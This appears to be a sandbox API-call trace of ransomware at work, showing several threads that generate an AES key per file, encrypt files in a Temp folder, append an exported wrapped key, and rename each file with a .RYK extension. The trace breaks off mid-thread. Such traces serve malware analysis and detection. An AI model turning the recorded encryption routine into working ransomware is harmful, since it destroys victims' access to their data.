	[0212.841] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x942f920*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x942f920*=0xf4250) returned 1
	[0212.841] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x942f928*=0xa734, dwBufLen=0xf4250 | out: pbData=0x3090000*, pdwDataLen=0x942f928*=0xa740) returned 1
	[0212.841] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.841] WriteFile (in: hFile=0x680, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0xa740, lpNumberOfBytesWritten=0x942f924, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x942f924*=0xa740, lpOverlapped=0x0) returned 1
	[0212.842] WriteFile (in: hFile=0x680, lpBuffer=0x942f950*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x942f930, lpOverlapped=0x0 | out: lpBuffer=0x942f950*, lpNumberOfBytesWritten=0x942f930*=0x6, lpOverlapped=0x0) returned 1
	[0212.842] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x942f940 | out: pbData=0x0*, pdwDataLen=0x942f940*=0x10c) returned 1
	[0212.842] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x942f9b0, pdwDataLen=0x942f940 | out: pbData=0x942f9b0*, pdwDataLen=0x942f940*=0x10c) returned 1
	[0212.842] WriteFile (in: hFile=0x680, lpBuffer=0x942f9b0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x942f930, lpOverlapped=0x0 | out: lpBuffer=0x942f9b0*, lpNumberOfBytesWritten=0x942f930*=0x10c, lpOverlapped=0x0) returned 1
	[0212.842] CloseHandle (hObject=0x680) returned 1
	[0212.845] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0212.845] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hm2ftlx uiq.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hm2ftlx uiq.png.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2132
	os_tid = 0x2728

	[0212.858] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv", dwFileAttributes=0x80) returned 1
	[0212.859] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\j_-r87.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680
	[0212.859] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x8f0fa58 | out: lpFileSize=0x8f0fa58*=42696) returned 1
	[0212.859] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x8f0fa68 | out: lpFileSize=0x8f0fa68*=42696) returned 1
	[0212.859] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0xa5a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.860] ReadFile (in: hFile=0x680, lpBuffer=0x8f0fab0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f0fa20, lpOverlapped=0x0 | out: lpBuffer=0x8f0fab0*, lpNumberOfBytesRead=0x8f0fa20*=0x19, lpOverlapped=0x0) returned 1
	[0212.862] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.862] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8f0fa38 | out: phKey=0x8f0fa38*=0x2b8e30) returned 1
	[0212.862] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.863] ReadFile (in: hFile=0x680, lpBuffer=0x3190000, nNumberOfBytesToRead=0xa6c8, lpNumberOfBytesRead=0x8f0fa44, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x8f0fa44*=0xa6c8, lpOverlapped=0x0) returned 1
	[0212.863] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f0fa40*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f0fa40*=0xf4250) returned 1
	[0212.864] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x8f0fa48*=0xa6c8, dwBufLen=0xf4250 | out: pbData=0x3190000*, pdwDataLen=0x8f0fa48*=0xa6d0) returned 1
	[0212.864] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.864] WriteFile (in: hFile=0x680, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0xa6d0, lpNumberOfBytesWritten=0x8f0fa44, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x8f0fa44*=0xa6d0, lpOverlapped=0x0) returned 1
	[0212.865] WriteFile (in: hFile=0x680, lpBuffer=0x8f0fa70*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f0fa50, lpOverlapped=0x0 | out: lpBuffer=0x8f0fa70*, lpNumberOfBytesWritten=0x8f0fa50*=0x6, lpOverlapped=0x0) returned 1
	[0212.865] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f0fa60 | out: pbData=0x0*, pdwDataLen=0x8f0fa60*=0x10c) returned 1
	[0212.865] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f0fad0, pdwDataLen=0x8f0fa60 | out: pbData=0x8f0fad0*, pdwDataLen=0x8f0fa60*=0x10c) returned 1
	[0212.865] WriteFile (in: hFile=0x680, lpBuffer=0x8f0fad0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f0fa50, lpOverlapped=0x0 | out: lpBuffer=0x8f0fad0*, lpNumberOfBytesWritten=0x8f0fa50*=0x10c, lpOverlapped=0x0) returned 1
	[0212.865] CloseHandle (hObject=0x680) returned 1
	[0212.869] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0212.869] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\j_-r87.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\j_-r87.mkv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2133
	os_tid = 0x272c

	[0212.878] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi", dwFileAttributes=0x80) returned 1
	[0212.878] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ki2c.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680
	[0212.879] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x95bfa78 | out: lpFileSize=0x95bfa78*=16328) returned 1
	[0212.879] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x95bfa88 | out: lpFileSize=0x95bfa88*=16328) returned 1
	[0212.879] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x3ea6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.879] ReadFile (in: hFile=0x680, lpBuffer=0x95bfad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95bfa40, lpOverlapped=0x0 | out: lpBuffer=0x95bfad0*, lpNumberOfBytesRead=0x95bfa40*=0x19, lpOverlapped=0x0) returned 1
	[0212.882] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.882] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x95bfa58 | out: phKey=0x95bfa58*=0x2b8ff0) returned 1
	[0212.882] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.882] ReadFile (in: hFile=0x680, lpBuffer=0x3290000, nNumberOfBytesToRead=0x3fc8, lpNumberOfBytesRead=0x95bfa64, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesRead=0x95bfa64*=0x3fc8, lpOverlapped=0x0) returned 1
	[0212.882] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x95bfa60*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x95bfa60*=0xf4250) returned 1
	[0212.882] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3290000*, pdwDataLen=0x95bfa68*=0x3fc8, dwBufLen=0xf4250 | out: pbData=0x3290000*, pdwDataLen=0x95bfa68*=0x3fd0) returned 1
	[0212.883] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.883] WriteFile (in: hFile=0x680, lpBuffer=0x3290000*, nNumberOfBytesToWrite=0x3fd0, lpNumberOfBytesWritten=0x95bfa64, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesWritten=0x95bfa64*=0x3fd0, lpOverlapped=0x0) returned 1
	[0212.883] WriteFile (in: hFile=0x680, lpBuffer=0x95bfa90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x95bfa70, lpOverlapped=0x0 | out: lpBuffer=0x95bfa90*, lpNumberOfBytesWritten=0x95bfa70*=0x6, lpOverlapped=0x0) returned 1
	[0212.883] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x95bfa80 | out: pbData=0x0*, pdwDataLen=0x95bfa80*=0x10c) returned 1
	[0212.883] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x95bfaf0, pdwDataLen=0x95bfa80 | out: pbData=0x95bfaf0*, pdwDataLen=0x95bfa80*=0x10c) returned 1
	[0212.884] WriteFile (in: hFile=0x680, lpBuffer=0x95bfaf0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x95bfa70, lpOverlapped=0x0 | out: lpBuffer=0x95bfaf0*, lpNumberOfBytesWritten=0x95bfa70*=0x10c, lpOverlapped=0x0) returned 1
	[0212.884] CloseHandle (hObject=0x680) returned 1
	[0212.889] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0212.889] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ki2c.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ki2c.avi.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2134
	os_tid = 0x2730

	[0213.106] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp", dwFileAttributes=0x80) returned 1
	[0213.108] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l1orf0q2uladn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac
	[0213.108] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x914f7b8 | out: lpFileSize=0x914f7b8*=5295) returned 1
	[0213.108] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x914f7c8 | out: lpFileSize=0x914f7c8*=5295) returned 1
	[0213.109] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x138d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.109] ReadFile (in: hFile=0x6ac, lpBuffer=0x914f810, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x914f780, lpOverlapped=0x0 | out: lpBuffer=0x914f810*, lpNumberOfBytesRead=0x914f780*=0x19, lpOverlapped=0x0) returned 1
	[0213.111] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.112] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x914f798 | out: phKey=0x914f798*=0x2b8ff0) returned 1
	[0213.112] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.112] ReadFile (in: hFile=0x6ac, lpBuffer=0x3490000, nNumberOfBytesToRead=0x14af, lpNumberOfBytesRead=0x914f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesRead=0x914f7a4*=0x14af, lpOverlapped=0x0) returned 1
	[0213.112] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x914f7a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x914f7a0*=0xf4250) returned 1
	[0213.112] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3490000*, pdwDataLen=0x914f7a8*=0x14af, dwBufLen=0xf4250 | out: pbData=0x3490000*, pdwDataLen=0x914f7a8*=0x14b0) returned 1
	[0213.112] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.112] WriteFile (in: hFile=0x6ac, lpBuffer=0x3490000*, nNumberOfBytesToWrite=0x14b0, lpNumberOfBytesWritten=0x914f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesWritten=0x914f7a4*=0x14b0, lpOverlapped=0x0) returned 1
	[0213.113] WriteFile (in: hFile=0x6ac, lpBuffer=0x914f7d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x914f7b0, lpOverlapped=0x0 | out: lpBuffer=0x914f7d0*, lpNumberOfBytesWritten=0x914f7b0*=0x6, lpOverlapped=0x0) returned 1
	[0213.113] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x914f7c0 | out: pbData=0x0*, pdwDataLen=0x914f7c0*=0x10c) returned 1
	[0213.113] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x914f830, pdwDataLen=0x914f7c0 | out: pbData=0x914f830*, pdwDataLen=0x914f7c0*=0x10c) returned 1
	[0213.113] WriteFile (in: hFile=0x6ac, lpBuffer=0x914f830*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x914f7b0, lpOverlapped=0x0 | out: lpBuffer=0x914f830*, lpNumberOfBytesWritten=0x914f7b0*=0x10c, lpOverlapped=0x0) returned 1
	[0213.113] CloseHandle (hObject=0x6ac) returned 1
	[0213.115] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0213.115] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l1orf0q2uladn.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l1orf0q2uladn.bmp.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2162
	os_tid = 0x27a4

	[0213.122] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png", dwFileAttributes=0x80) returned 1
	[0213.123] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac
	[0213.124] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x8c2fad8 | out: lpFileSize=0x8c2fad8*=16725) returned 1
	[0213.124] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x8c2fae8 | out: lpFileSize=0x8c2fae8*=16725) returned 1
	[0213.124] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x4033, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.124] ReadFile (in: hFile=0x6ac, lpBuffer=0x8c2fb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c2faa0, lpOverlapped=0x0 | out: lpBuffer=0x8c2fb30*, lpNumberOfBytesRead=0x8c2faa0*=0x19, lpOverlapped=0x0) returned 1
	[0213.126] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.127] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8c2fab8 | out: phKey=0x8c2fab8*=0x2b8ff0) returned 1
	[0213.127] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.127] ReadFile (in: hFile=0x6ac, lpBuffer=0x2690000, nNumberOfBytesToRead=0x4155, lpNumberOfBytesRead=0x8c2fac4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8c2fac4*=0x4155, lpOverlapped=0x0) returned 1
	[0213.127] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c2fac0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c2fac0*=0xf4250) returned 1
	[0213.127] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8c2fac8*=0x4155, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8c2fac8*=0x4160) returned 1
	[0213.127] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.128] WriteFile (in: hFile=0x6ac, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x8c2fac4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8c2fac4*=0x4160, lpOverlapped=0x0) returned 1
	[0213.128] WriteFile (in: hFile=0x6ac, lpBuffer=0x8c2faf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c2fad0, lpOverlapped=0x0 | out: lpBuffer=0x8c2faf0*, lpNumberOfBytesWritten=0x8c2fad0*=0x6, lpOverlapped=0x0) returned 1
	[0213.128] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c2fae0 | out: pbData=0x0*, pdwDataLen=0x8c2fae0*=0x10c) returned 1
	[0213.128] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c2fb50, pdwDataLen=0x8c2fae0 | out: pbData=0x8c2fb50*, pdwDataLen=0x8c2fae0*=0x10c) returned 1
	[0213.128] WriteFile (in: hFile=0x6ac, lpBuffer=0x8c2fb50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c2fad0, lpOverlapped=0x0 | out: lpBuffer=0x8c2fb50*, lpNumberOfBytesWritten=0x8c2fad0*=0x10c, lpOverlapped=0x0) returned 1
	[0213.129] CloseHandle (hObject=0x6ac) returned 1
	[0213.130] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0213.130] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxu.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxu.png.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2163
	os_tid = 0x27a8

	[0213.136] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls", dwFileAttributes=0x80) returned 1
	[0213.137] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ly6qu.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac
	[0213.137] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x8d8f638 | out: lpFileSize=0x8d8f638*=3628) returned 1
	[0213.138] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x8d8f648 | out: lpFileSize=0x8d8f648*=3628) returned 1
	[0213.138] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0xd0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.138] ReadFile (in: hFile=0x6ac, lpBuffer=0x8d8f690, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d8f600, lpOverlapped=0x0 | out: lpBuffer=0x8d8f690*, lpNumberOfBytesRead=0x8d8f600*=0x19, lpOverlapped=0x0) returned 1
	[0213.140] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.141] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8d8f618 | out: phKey=0x8d8f618*=0x2b8ff0) returned 1
	[0213.141] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.141] ReadFile (in: hFile=0x6ac, lpBuffer=0x2980000, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x8d8f624, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x8d8f624*=0xe2c, lpOverlapped=0x0) returned 1
